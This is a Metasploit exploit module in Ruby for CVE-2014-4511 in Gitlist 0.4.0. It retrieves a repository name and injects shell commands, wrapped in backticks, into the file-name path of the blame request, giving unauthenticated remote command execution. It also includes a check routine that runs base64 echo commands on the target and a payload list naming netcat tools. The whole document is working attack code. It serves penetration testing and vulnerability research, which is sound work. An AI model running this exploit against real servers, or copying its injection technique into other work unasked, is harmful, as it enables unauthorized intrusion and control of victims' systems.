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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Gitlist Unauthenticated Remote Command Execution',
'Description' => %q{
This module exploits an unauthenticated remote command execution vulnerability
in version 0.4.0 of Gitlist. The problem exists in the handling of a specially
crafted file name when trying to blame it.
},
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Author' =>
[
'drone', #discovery/poc by @dronesec
'Brandon Perry <bperry.volatile[at]gmail.com>' #Metasploit module
],
'References' =>
[
['CVE', '2014-4511'],
['EDB', '33929'],
['URL', 'http://hatriot.github.io/blog/2014/06/29/gitlist-rce/']
],
'Payload' =>
{
'Space' => 8192, # max length of GET request really
'BadChars' => "&\x20",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet python perl gawk netcat netcat-e ruby php openssl',
}
},
'Targets' =>
[
['Gitlist 0.4.0', { }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 30 2014'
))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
])
end
def check
repo = get_repo
if repo.nil?
return Exploit::CheckCode::Unknown
end
chk = Rex::Text.encode_base64(rand_text_alpha(rand(32)+5))
res = send_command(repo, "echo${IFS}" + chk + "|base64${IFS}--decode")
if res && res.body
if res.body.include?(Rex::Text.decode_base64(chk))
return Exploit::CheckCode::Vulnerable
elsif res.body.to_s =~ /sh.*not found/
return Exploit::CheckCode::Vulnerable
end
end
Exploit::CheckCode::Safe
end
def exploit
repo = get_repo
if repo.nil?
fail_with(Failure::Unknown, "#{peer} - Failed to retrieve the remote repository")
end
send_command(repo, payload.encoded)
end
def get_repo
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/")
})
unless res
return nil
end
first_repo = /href="\/gitlist\/(.*)\/"/.match(res.body)
unless first_repo && first_repo.length >= 2
return nil
end
repo_name = first_repo[1]
repo_name
end
def send_command(repo, cmd)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, repo, 'blame', 'master', '""`' + cmd + '`')
}, 1)
res
end
end